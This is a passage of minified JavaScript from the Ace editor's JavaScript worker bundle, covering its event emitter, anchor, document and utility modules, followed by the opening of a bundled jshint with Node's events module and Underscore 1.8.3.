r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/javascript/jshint\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function o(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(s)return s(u,!0);var l=new Error(\"Cannot find module '\"+u+\"'\");throw l.code=\"MODULE_NOT_FOUND\",l}var c=n[u]={exports:{}};t[u][0].call(c.exports,function(e){var n=t[u][1][e];return o(n?n:e)},c,c.exports,r,t,n,i)}return n[u].exports}var s=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)o(i[u]);return o(i[0])}({\"/node_modules/browserify/node_modules/events/events.js\":[function(e,t,n){function r(){this._events=this._events||{},this._maxListeners=this._maxListeners||undefined}function i(e){return typeof e==\"function\"}function s(e){return typeof e==\"number\"}function o(e){return typeof e==\"object\"&&e!==null}function u(e){return e===void 0}t.exports=r,r.EventEmitter=r,r.prototype._events=undefined,r.prototype._maxListeners=undefined,r.defaultMaxListeners=10,r.prototype.setMaxListeners=function(e){if(!s(e)||e<0||isNaN(e))throw TypeError(\"n must be a positive number\");return this._maxListeners=e,this},r.prototype.emit=function(e){var t,n,r,s,a,f;this._events||(this._events={});if(e===\"error\")if(!this._events.error||o(this._events.error)&&!this._events.error.length)throw t=arguments[1],t instanceof Error?t:TypeError('Uncaught, unspecified \"error\" event.');n=this._events[e];if(u(n))return!1;if(i(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];n.apply(this,s)}else if(o(n)){r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];f=n.slice(),r=f.length;for(a=0;a<r;a++)f[a].apply(this,s)}return!0},r.prototype.addListener=function(e,t){var n;if(!i(t))throw TypeError(\"listener must be a function\");this._events||(this._events={}),this._events.newListener&&this.emit(\"newListener\",e,i(t.listener)?t.listener:t),this._events[e]?o(this._events[e])?this._events[e].push(t):this._events[e]=[this._events[e],t]:this._events[e]=t;if(o(this._events[e])&&!this._events[e].warned){var n;u(this._maxListeners)?n=r.defaultMaxListeners:n=this._maxListeners,n&&n>0&&this._events[e].length>n&&(this._events[e].warned=!0,console.error(\"(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.\",this._events[e].length),typeof console.trace==\"function\"&&console.trace())}return this},r.prototype.on=r.prototype.addListener,r.prototype.once=function(e,t){function r(){this.removeListener(e,r),n||(n=!0,t.apply(this,arguments))}if(!i(t))throw TypeError(\"listener must be a function\");var n=!1;return r.listener=t,this.on(e,r),this},r.prototype.removeListener=function(e,t){var n,r,s,u;if(!i(t))throw TypeError(\"listener must be a function\");if(!this._events||!this._events[e])return this;n=this._events[e],s=n.length,r=-1;if(n===t||i(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit(\"removeListener\",e,t);else if(o(n)){for(u=s;u-->0;)if(n[u]===t||n[u].listener&&n[u].listener===t){r=u;break}if(r<0)return this;n.length===1?(n.length=0,delete this._events[e]):n.splice(r,1),this._events.removeListener&&this.emit(\"removeListener\",e,t)}return this},r.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return arguments.length===0?this._events={}:this._events[e]&&delete this._events[e],this;if(arguments.length===0){for(t in this._events){if(t===\"removeListener\")continue;this.removeAllListeners(t)}return this.removeAllListeners(\"removeListener\"),this._events={},this}n=this._events[e];if(i(n))this.removeListener(e,n);else while(n.length)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},r.prototype.listeners=function(e){var t;return!this._events||!this._events[e]?t=[]:i(this._events[e])?t=[this._events[e]]:t=this._events[e].slice(),t},r.listenerCount=function(e,t){var n;return!e._events||!e._events[t]?n=0:i(e._events[t])?n=1:n=e._events[t].length,n}},{}],\"/node_modules/jshint/data/ascii-identifier-data.js\":[function(e,t,n){var r=[];for(var i=0;i<128;i++)r[i]=i===36||i>=65&&i<=90||i===95||i>=97&&i<=122;var s=[];for(var i=0;i<128;i++)s[i]=r[i]||i>=48&&i<=57;t.exports={asciiIdentifierStartTable:r,asciiIdentifierPartTable:s}},{}],\"/node_modules/jshint/node_modules/underscore/underscore.js\":[function(e,t,n){(function(){function N(e){function t(t,n,r,i,s,o){for(;s>=0&&s<o;s+=e){var u=i?i[s]:s;r=n(r,t[u],u,t)}return r}return function(n,r,i,s){r=g(r,s,4);var o=!T(n)&&m.keys(n),u=(o||n).length,a=e>0?0:u-1;return arguments.length<3&&(i=n[o?o[a]:a],a+=e),t(n,r,i,o,a,u)}}function L(e){return function(t,n,r){n=y(n,r);var i=x(t),s=e>0?0:i-1;for(;s>=0&&s<i;s+=e)if(n(t[s],s,t))return s;return-1}}function A(e,t,n){return function(r,i,s){var o=0,u=x(r);if(typeof s==\"number\")e>0?o=s>=0?s:Math.max(s+u,o):u=s>=0?Math.min(s+1,u):s+u+1;else if(n&&s&&u)return s=n(r,i),r[s]===i?s:-1;if(i!==i)return s=t(a.call(r,o,u),m.isNaN),s>=0?s+o:-1;for(s=e>0?o:u-1;s>=0&&s<u;s+=e)if(r[s]===i)return s;return-1}}function D(e,t){var n=_.length,r=e.constructor,i=m.isFunction(r)&&r.prototype||s,o=\"constructor\";m.has(e,o)&&!m.contains(t,o)&&t.push(o);while(n--)o=_[n],o in e&&e[o]!==i[o]&&!m.contains(t,o)&&t.push(o)}var e=this,r=e._,i=Array.prototype,s=Object.prototype,o=Function.prototype,u=i.push,a=i.slice,f=s.toString,l=s.hasOwnProperty,c=Array.isArray,h=Object.keys,p=o.bind,d=Object.create,v=function(){},m=function(e){if(e instanceof m)return e;if(!(this instanceof m))return new m(e);this._wrapped=e};typeof n!=\"undefined\"?(typeof t!=\"undefined\"&&t.exports&&(n=t.exports=m),n._=m):e._=m,m.VERSION=\"1.8.3\";var g=function(e,t,n){if(t===void 0)return e;switch(n==null?3:n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,i){return e.call(t,n,r,i)};case 4:return function(n,r,i,s){return e.call(t,n,r,i,s)}}return function(){return e.apply(t,arguments)}},y=function(e,t,n){return e==null?m.identity:m.isFunction(e)?g(e,t,n):m.isObject(e)?m.matcher(e):m.property(e)};m.iteratee=function(e,t){return y(e,t,Infinity)};var b=function(e,t){return function(n){var r=arguments.length;if(r<2||n==null)return n;for(var i=1;i<r;i++){var s=arguments[i],o=e(s),u=o.length;for(var a=0;a<u;a++){var f=o[a];if(!t||n[f]===void 0)n[f]=s[f]}}return n}},w=function(e){if(!m.isObject(e))return{};if(d)return d(e);v.prototype=e;var t=new v;return v.prototype=null,t},E=function(e){return function(t){return t==null?void 0:t[e]}},S=Math.pow(2,53)-1,x=E(\"length\"),T=function(e){var t=x(e);return typeof t==\"number\"&&t>=0&&t<=S};m.each=m.forEach=function(e,t,n){t=g(t,n);var r,i;if(T(e))for(r=0,i=e.length;r<i;r++)t(e[r],r,e);else{var s=m.keys(e);for(r=0,i=s.length;r<i;r++)t(e[s[r]],s[r],e)}return e},m.map=m.collect=function(e,t,n){t=y(t,n);var r=!T(e)&&m.keys(e),i=(r||e).length,s=Array(i);for(var o=0;o<i;o++){var u=r?r[o]:o;s[o]=t(e[u],u,e)}return s},m.reduce=m.foldl=m.inject=N(1),m.reduceRight=m.foldr=N(-1),m.find=m.detect=function(e,t,n){var r;T(e)?r=m.findIndex(e,t,n):r=m.findKey(e,t,n);if(r!==void 0&&r!==-1)return e[r]},m.filter=m.select=function(e,t,n){var r=[];return t=y(t,n),m.each(e,function(e,n,i){t(e,n,i)&&r.push(e)}),r},m.reject=function(e,t,n){return m.filter(e,m.negate(y(t)),n)},m.every=m.all=function(e,t,n){t=y(t,n);var r=!T(e)&&m.keys(e),i=(r||e).length;for(var s=0;s<i;s++){var o=r?r[s]:s;if(!t(e[o],o,e))return!1}return!0},m.some=m.any=function(e,t,n){t=y(t,n);var r=!T(e)&&m.keys(e),i=(r||e).length;for(var s=0;s<i;s++){var o=r?r[s]:s;if(t(e[o],o,e))return!0}return!1},m.contains=m.includes=m.include=function(e,t,n,r){T(e)||(e=m.values(e));if(typeof n!=\"number\"||r)n=0;return m.indexOf(e,t,n)>=0},m.invoke=function(e,t){var n=a.call(arguments,2),r=m.isFunction(t);return m.map(e,function(e){var i=r?t:e[t];return i==null?i:i.apply(e,n)})},m.pluck=function(e,t){return m.map(e,m.property(t))},m.where=function(e,t){return m.filter(e,m.matcher(t))},m.findWhere=function(e,t){return m.find(e,m.matcher(t))},m.max=function(e,t,n){var r=-Infinity,i=-Infinity,s,o;if(t==null&&e!=null){e=T(e)?e:m.values(e);for(var u=0,a=e.length;u<a;u++)s=e[u],s>r&&(r=s)}else t=y(t,n),m.each(e,function(e,n,s){o=t(e,n,s);if(o>i||o===-Infinity&&r===-Infinity)r=e,i=o});return r},m.min=function(e,t,n){var r=Infinity,i=Infinity,s,o;if(t==null&&e!=null){e=T(e)?e:m.values(e);for(var u=0,a=e.length;u<a;u++)s=e[u],s<r&&(r=s)}else t=y(t,n),m.each(e,function(e,n,s){o=t(e,n,s);if(o<i||o===Infinity&&r===Infinity)r=e,i=o});return r},m.shuffle=function(e){var t=T(e)?e:m.values(e),n=t.length,r=Array(n);for(var i=0,s;i<n;i++)s=m.random(0,i),s!==i&&(r[i]=r[s]),r[s]=t[i];return r},m.sample=function(e,t,n){return t==null||n?(T(e)||(e=m.values(e)),e[m.random(e.length-1)]):m.shuffle(e).slice(0,Math.max(0,t))},m.sortBy=function(e,t,n){return t=y(t,n),m.pluck(m.map(e,function(e,n,r){return{value:e,index:n,criteria:t(e,n,r)}}).sort(function(e,t){var n=e.criteria,r=t.criteria;if(n!==r){if(n>r||n===void 0)return 1;if(n<r||r===void 0)return-1}return e.index-t.index}),\"value\")};var C=function(e){return function(t,n,r){var i={};return n=y(n,r),m.each(t,function(r,s){var o=n(r,s,t);e(i,r,o)}),i}};m.groupBy=C(function(e,t,n){m.has(e,n)?e[n].push(t):e[n]=[t]}),m.indexBy=C(function(e,t,n){e[n]=t}),m.countBy=C(function(e,t,n){m.has(e,n)?e[n]++:e[n]=1}),m.toArray=function(e){return e?m.isArray(e)?a.call(e):T(e)?m.map(e,m.identity):m.values(e):[]},m.size=function(e){return e==null?0:T(e)?e.length:m.keys(e).length},m.partition=function(e,t,n){t=y(t,n);var r=[],i=[];return m.each(e,function(e,n,s){(t(e,n,s)?r:i).push(e)}),[r,i]},m.first=m.head=m.take=function(e,t,n){return e==null?void 0:t==null||n?e[0]:m.initial(e,e.length-t)},m.initial=function(e,t,n){return a.call(e,0,Math.max(0,e.length-(t==null||n?1:t)))},m.last=function(e,t,n){return e==null?void 0:t==null||n?e[e.length-1]:m.rest(e,Math.max(0,e.length-t))},m.rest=m.tail=m.drop=function(e,t,n){return a.call(e,t==null||n?1:t)},m.compact=function(e){return m.filter(e,m.identity)};var k=function(e,t,n,r){var i=[],s=0;for(var o=r||0,u=x(e);o<u;o++){var a=e[o];if(T(a)&&(m.isArray(a)||m.isArguments(a))){t||(a=k(a,t,n));var f=0,l=a.length;i.length+=l;while(f<l)i[s++]=a[f++]}else n||(i[s++]=a)}return i};m.flatten=function(e,t){return k(e,t,!1)},m.without=function(e){return m.difference(e,a.call(arguments,1))},m.uniq=m.unique=function(e,t,n,r){m.isBoolean(t)||(r=n,n=t,t=!1),n!=null&&(n=y(n,r));var i=[],s=[];for(var o=0,u=x(e);o<u;o++){var a=e[o],f=n?n(a,o,e):a;t?((!o||s!==f)&&i.push(a),s=f):n?m.contains(s,f)||(s.push(f),i.push(a)):m.contains(i,a)||i.push(a)}return i},m.union=function(){return m.uniq(k(arguments,!0,!0))},m.intersection=function(e){var t=[],n=arguments.length;for(var r=0,i=x(e);r<i;r++){var s=e[r];if(m.contains(t,s))continue;for(var o=1;o<n;o++)if(!m.contains(arguments[o],s))break;o===n&&t.push(s)}return t},m.difference=function(e){var t=k(arguments,!0,!0,1);return m.filter(e,function(e){return!m.contains(t,e)})},m.zip=function(){return m.unzip(arguments)},m.unzip=function(e){var t=e&&m.max(e,x).length||0,n=Array(t);for(var r=0;r<t;r++)n[r]=m.pluck(e,r);return n},m.object=function(e,t){var n={};for(var r=0,i=x(e);r<i;r++)t?n[e[r]]=t[r]:n[e[r][0]]=e[r][1];return n},m.findIndex=L(1),m.findLastIndex=L(-1),m.sortedIndex=function(e,t,n,r){n=y(n,r,1);var i=n(t),s=0,o=x(e);while(s<o){var u=Math.floor((s+o)/2);n(e[u])<i?s=u+1:o=u}return s},m.indexOf=A(1,m.findIndex,m.sortedIndex),m.lastIndexOf=A(-1,m.findLastIndex),m.range=function(e,t,n){t==null&&(t=e||0,e=0),n=n||1;var r=Math.max(Math.ceil((t-e)/n),0),i=Array(r);for(var s=0;s<r;s++,e+=n)i[s]=e;return i};var O=function(e,t,n,r,i){if(r instanceof t){var s=w(e.prototype),o=e.apply(s,i);return m.isObject(o)?o:s}return e.apply(n,i)};m.bind=function(e,t){if(p&&e.bind===p)return p.apply(e,a.call(arguments,1));if(!m.isFunction(e))throw new TypeError(\"Bind must be called on a function\");var n=a.call(arguments,2),r=function(){return O(e,r,t,this,n.concat(a.call(arguments)))};return r},m.partial=function(e){var t=a.call(arguments,1),n=function(){var r=0,i=t.length,s=Array(i);for(var o=0;o<i;o++)s[o]=t[o]===m?arguments[r++]:t[o];while(r<arguments.length)s.push(arguments[r++]);return O(e,n,this,this,s)};return n},m.bindAll=function(e){var t,n=arguments.length,r;if(n<=1)throw new Error(\"bindAll must be passed function names\");for(t=1;t<n;t++)r=arguments[t],e[r]=m.bind(e[r],e);return e},m.memoize=function(e,t){var n=function(r){var i=n.cache,s=\"\"+(t?t.apply(this,arguments):r);return m.has(i,s)||(i[s]=e.apply(this,arguments)),i[s]};return n.cache={},n},m.delay=function(e,t){var n=a.call(arguments,2);return setTimeout(function(){return e.apply(null,n)},t)},m.defer=m.partial(m.delay,m,1),m.throttle=function(e,t,n){var r,i,s,o=null,u=0;n||(n={});var a=function(){u=n.leading===!1?0:m.now(),o=null,s=e.apply(r,i),o||(r=i=null)};return function(){var f=m.now();!u&&n.leading===!1&&(u=f);var l=t-(f-u);return r=this,i=arguments,l<=0||l>t?(o&&(clearTimeout(o),o=null),u=f,s=e.apply(r,i),o||(r=i=null)):!o&&n.trailing!==!1&&(o=setTimeout(a,l)),s}},m.debounce=function(e,t,n){var r,i,s,o,u,a=function(){var f=m.now()-o;f<t&&f>=0?r=setTimeout(a,t-f):(r=null,n||(u=e.apply(s,i),r||(s=i=null)))};return function(){s=this,i=arguments,o=m.now();var f=n&&!r;return r||(r=setTimeout(a,t)),f&&(u=e.apply(s,i),s=i=null),u}},m.wrap=function(e,t){return m.partial(t,e)},m.negate=function(e){return function(){return!e.apply(this,arguments)}},m.compose=function(){var e=arguments,t=e.length-1;return function(){var n=t,r=e[t].apply(this,arguments);while(n--)r=e[n].call(this,r);return r}},m.after=function(e,t){return function(){if(--e<1)return t.apply(this,arguments)}},m.before=function(e,t){var n;return function(){return--e>0&&(n=t.apply(this,arguments)),e<=1&&(t=null),n}},m.once=m.partial(m.before,2);var M=!{toString:null}.propertyIsEnumerable(\"toString\"),_=[\"valueOf\",\"isPrototypeOf\",\"toString\",\"propertyIsEnumerable\",\"hasOwnProperty\",\"toLocaleString\"];m.keys=function(e){if(!m.isObject(e))return[];if(h)return h(e);var t=[];for(var n in e)m.has(e,n)&&t.push(n);return M&&D(e,t),t},m.allKeys=function(e){if(!m.isObject(e))return[];var t=[];for(var n in e)t.push(n);return M&&D(e,t),t},m.values=function(e){var t=m.keys(e),n=t.length,r=Array(n);for(var i=0;i<n;i++)r[i]=e[t[i]];return r},m.mapObject=function(e,t,n){t=y(t,n);var r=m.keys(e),i=r.length,s={},o;for(var u=0;u<i;u++)o=r[u],s[o]=t(e[o],o,e);return s},m.pairs=function(e){var t=m.keys(e),n=t.length,r=Array(n);for(var 